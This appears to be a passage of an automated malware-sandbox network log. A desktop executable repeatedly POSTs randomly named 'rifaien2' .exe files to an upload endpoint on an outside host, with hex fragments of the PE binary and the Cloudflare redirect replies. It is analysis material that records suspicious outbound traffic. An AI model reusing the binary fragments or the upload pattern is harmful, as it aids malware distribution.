Oct 10, 2024 21:01:19.180275917 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 36 61 65 32 31 36 64 32 34 37 61 64 37 65 65 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------6ae216d247ad7eebContent-Disposition: form-data; name="file[]"; filename="rifaien2-OMok4oiMxwrfC1T9.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:19.180385113 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:19.185904026 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:19.185937881 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:19.186014891 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:19.186041117 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:19.186115980 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:19.186173916 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:19.186233997 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:19.186258078 CEST	2472	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:19.505515099 CEST	821	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:19 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:19 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r1LKma3jP1cF%2BaFQ1df7AcAzYsUXp%2BEVLK5d2HypbXOw%2FjOzWCN%2F85m72GXcxdo9DYuI0ycpvzE2EvCTMbLF1cwnxSXBuUph%2Fl8qaPZ3hLagS8Xm%2BPZII%2BYJKjNb75Rm3El2Y30TsQwmDA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbbaabd9427f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:19.689380884 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e130ab798e73e0f4
Oct 10, 2024 21:01:20.176096916 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:20.176984072 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 31 33 30 61 62 37 39 38 65 37 33 65 30 66 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e130ab798e73e0f4Content-Disposition: form-data; name="file[]"; filename="rifaien2-cR40kHbNSjvP90Vq.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:20.177226067 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:20.182374001 CEST	4944	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:20.182374001 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:20.182425976 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:20.182450056 CEST	2472	OUT	Data Raw: 0d 05 b9 0a 06 89 8b ac c1 dc 07 e6 37 d5 8d 83 80 11 ad b0 c1 0c 01 df 0a 88 15 d7 a9 0e d8 b8 30 86 74 26 01 cc 51 b0 42 e8 13 4c 98 73 10 68 46 27 78 cd 26 84 21 f7 cf b4 65 64 86 82 84 29 06 3d 2e 8a 00 76 bc 27 1b d9 00 76 64 27 60 8d c4 3b Data Ascii: 70t&QBLshF'x&!ed)=.v'vd'`;']E>N22Mejo@,Y&H45w"^n0aQEU78r"{;CQQ_SCDp9Y@g0;"3RuQG?@8
Oct 10, 2024 21:01:20.182467937 CEST	2472	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:20.182492971 CEST	2472	OUT	Data Raw: 8a fa ff 1d 3a 0f 85 79 ff ff ff 8d 5d ec 53 ff 77 24 ff ae fb 0f 4f 56 01 a8 93 89 47 24 8b 45 ec 3d 16 6e 02 68 a0 f8 89 f9 ff 70 14 1e 45 44 38 28 e8 6d 90 7a 45 b0 29 76 91 75 c8 ce 57 10 5c ee 67 dd c8 89 10 7f 95 94 77 eb 07 ad 37 80 a6 84 Data Ascii: :y]Sw$OVG$E=nhpED8(mzE)vuW\gw7!:Mp%t2>VRn0\|1wuP9}'PE=!A1&;fw.S.Et}utbdqfztB4cuE"-
Oct 10, 2024 21:01:20.182692051 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:20.187067986 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:20.492985010 CEST	817	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:20 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:20 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gO3fk1qXsVi5rCFh1TEBRfhPS5q78Lx2IAMWnSv6rkd1Ij4YD%2FAHLiLXCp%2B%2FtbzKSobdul03JjK9dFPSpcfb1C6N6vz6%2FoclnlOKNyPr6tsPLgj3t0D2yTE2GgMxYkdaB0%2F28LMQg53Iog%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbc0ea6d0cc1-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:20.635993958 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------532e5ab0b1a980a1
Oct 10, 2024 21:01:21.097174883 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:21.098007917 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 33 32 65 35 61 62 30 62 31 61 39 38 30 61 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------532e5ab0b1a980a1Content-Disposition: form-data; name="file[]"; filename="rifaien2-VJi5bt4v05AnA3zO.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:21.098417044 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:21.103413105 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:21.103497028 CEST	4944	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:21.103768110 CEST	4944	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
Oct 10, 2024 21:01:21.103795052 CEST	4944	OUT	Data Raw: 0f 61 3a 83 7f 9d a3 70 40 9f b0 40 83 6f ba 7b f1 f8 01 0f 86 5b 1c 0f 87 16 c9 83 f8 07 56 88 b7 e1 d1 0f 96 d1 b2 d8 50 4c 63 ae 0d 27 42 ac 89 f6 9e 34 03 72 37 00 f0 75 22 ff b7 0a ff b7 98 67 03 57 85 8b f0 42 cc ba 0a 76 bf 83 c4 0c 50 68 Data Ascii: a:p@@o{[VPLc'B4r7u"gWBvPh%+)9&_&xWTGPp5Bu@t6_]pwtBWGeVSPhP'5}4$3(Oy Gg]m1?aC@Mu`En# `Oq7G
Oct 10, 2024 21:01:21.103934050 CEST	4944	OUT	Data Raw: 25 04 85 db 74 1b c1 01 05 27 dc 40 5c 00 b8 71 8a c7 01 0c 1b 42 d3 2d dd 06 7e f5 d0 0c 1e 74 43 7b 8b 18 37 3a ff ff ff ff 89 df 89 da 8b 42 18 8b 32 0b 42 1c 74 04 89 d3 eb 1d 39 d7 75 02 89 f7 39 d3 75 04 89 f3 eb 02 ff ee 13 c4 89 33 4c b7 Data Ascii: %t'@\qB-~tC{7:B2Bt9u9u3L1Hu$8*VSa&Cyt6F[uu&2S_1DEU8x @x,U9P\|3ts;AqXu>6epP.
Oct 10, 2024 21:01:21.109194994 CEST	2472	OUT	Data Raw: 45 ff 53 d7 6f 3a 3c 57 8d b5 ef f7 ff ff 01 f0 5a fc 1f 5c 54 68 c9 13 f9 79 89 f7 fc c7 04 24 8c 3f 22 35 27 00 23 b4 49 51 56 fe 00 0e 12 01 af 8b 4d 66 10 fc 6f 78 3b 01 75 06 c6 41 04 01 b2 01 16 11 7d 07 26 62 f6 08 8b 13 8d 83 78 bb 80 4d Data Ascii: ESo:<WZ\Thy$?"5'#IQVMfox;uA}&bxMej.ozs_@\|34;`8?72`AoACvtACAC=}GvCRCsqrAM_QSzTR
Oct 10, 2024 21:01:21.109489918 CEST	4944	OUT	Data Raw: 2b eb 42 8d 46 58 52 6a 2e db 01 cb 0c 99 01 36 c0 8d 8e 1e 8d 96 44 84 b9 86 1c b1 40 17 ff 22 83 70 e1 0e ec 43 b2 56 43 11 9d a2 30 e1 40 63 7c 82 c1 10 f1 cd d6 e1 a3 a1 11 a4 6e 18 33 83 ec 4c 63 17 40 1d f5 9c 55 7b 8b 28 ab 80 0d 7f 89 45 Data Ascii: +BFXRj.6D@"pCVC0@c\|n3Lc@U{(EOtp8tpVEh3uUw.H,EE7=k@?1Eksjj=_?ut8u;\|L*{T:=ab.N
Oct 10, 2024 21:01:21.109519958 CEST	7416	OUT	Data Raw: 83 0a 01 51 84 2c 5c 8b 03 83 3c 30 00 75 8c bf 29 e0 52 89 f3 a5 08 50 50 6a 00 8b 02 11 18 0e a2 9e 55 08 8b c0 16 12 3b f7 3f 4f 83 eb 04 83 ff ff 75 d7 37 5a ff 33 c6 30 cb c5 60 3a 4f 7c 26 8a ff 60 16 eb 1d 47 3b 7d 0c 0f 8c 2c c5 b8 09 13 Data Ascii: Q,\<0u)RPPjU;?Ou7Z30`:O\|&`G;},@-J.}}KtEAta*jD+}V<u0^5MIQ1!Uti~}hukuVEQBP]PPPh#jR< Ht;Er=jvhG
Oct 10, 2024 21:01:21.407586098 CEST	815	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Oct 2024 19:01:21 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Thu, 10 Oct 2024 20:01:21 GMT Location: https://computernewb.com/collab-vm/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SfEB%2B4ueUfadVNC6N8FcFFqncRIAWxEOzkcEwZ3a3vbqSfjQ65ChH%2B8MmPBCJijJSBkUgjCCIpU0d8JGvBwx7EnbiAU95nhYJG43uop6lazgDtAOpA1hncggIwaZFHpVgwX%2FwZeLkI%2BMkQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d08dbc6a8ba7d06-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	104.21.59.199	80	7420	C:\Users\user\Desktop\Yx1Wz608PO.exe

Timestamp	Bytes transferred	Direction	Data
Oct 10, 2024 21:01:21.603924990 CEST	200	OUT	POST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85412 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------e05c97539ecf59ff
Oct 10, 2024 21:01:22.069643974 CEST	25	IN	HTTP/1.1 100 Continue
Oct 10, 2024 21:01:22.089536905 CEST	175	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 30 35 63 39 37 35 33 39 65 63 66 35 39 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 Data Ascii: --------------------------e05c97539ecf59ffContent-Disposition: form-data; name="file[]"; filename="rifaien2-4cVt4GKfpP1OEa7u.exe"Content-Type: application/octet-stream
Oct 10, 2024 21:01:22.089992046 CEST	12360	OUT	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELS8P0@@
Oct 10, 2024 21:01:22.094906092 CEST	2472	OUT	Data Raw: 65 48 e9 cc 28 08 33 3b b2 60 86 28 09 55 38 17 41 12 c2 05 2e 65 c5 a6 07 22 f7 8a 61 34 8b 80 77 7f f5 77 8e 83 f8 ff 74 0c 51 51 75 00 d7 11 2e 8b 83 54 72 20 c7 4c 2b 16 52 52 5c d8 b0 0b 1b 2d 60 16 2d 31 42 f6 58 61 94 6f 8d ec 10 7b b6 65 Data Ascii: eH(3;`(U8A.e"a4wwtQQu.Tr L+RR\-`-1BXao{eZ ,X ( % f 3LF g @&{# d @&{ ${d @& %{d 72W &{l A 9qA dod4 `od K.d]
Oct 10, 2024 21:01:22.094995975 CEST	2472	OUT	Data Raw: 8b 55 e8 39 55 f0 73 09 60 ee df 00 dc 3d 89 45 e8 86 0f 85 5c fc ff ff eb 03 11 70 d5 3f 00 29 0f 8b 55 d0 8b ee ef b8 8b 11 aa eb 8d eb 0c 80 1f 0f 85 7b ff de 7d 61 75 27 95 9a 81 ec 98 8e 89 95 88 fd 01 b8 bb ef 1c 70 40 89 8d 84 08 89 85 8c Data Ascii: U9Us`=E\p?)U{}au'p@UXd7`j;<_'-Vgp~MFaw'8XeVVhxC 'nA!vJbf&@DtpL}fP:8
Oct 10, 2024 21:01:22.095057964 CEST	2472	OUT	Data Raw: bf cb 02 9d 74 0d 7f 67 88 83 b0 0f 84 1c ca 8d 45 ef 8d 4d e8 89 77 18 4e c6 f2 50 09 53 4c 48 5e 6d 80 7d a4 48 f6 fb ef 00 0f 85 1e 7d 55 e8 1e c1 80 1d f0 6f 08 15 4d e8 8b 81 79 8b 91 dd dd 41 ef 85 8b 40 0c 03 fa 0f 84 eb 6a 8b 81 70 d6 fb Data Ascii: tgEMwNPSLH^m}H}UoMyA@jp]s9Pp.8`9x25p.Dqq@ G>N+\LpGswC&To8?u4'6{KQ;N~Cu?
Oct 10, 2024 21:01:22.095093012 CEST	2472	OUT	Data Raw: b1 36 58 0c 60 53 60 b8 df 86 b1 2b 0c af 43 3d 2c 0a 85 c2 50 fb 7d bf 37 36 85 6e 3d 6f 0f 84 80 1a 7e 0a 85 a7 1a c6 fe 7e 3f 84 c6 3d b0 0f 84 4d 4f 1b 3d ae 0c 18 7e 3f fb 6d 3d af 0a 85 7f 27 85 ec 3d b4 0f 84 f0 bf 9f fd 1e 94 c3 0a 85 64 Data Ascii: 6X`S`+C=,P}76n=o~~?=MO=~?m='=d=cC=:y~{/4)=&'==uA}jB;=2=> =%\|SWWe9Z>1-".Bw1JM
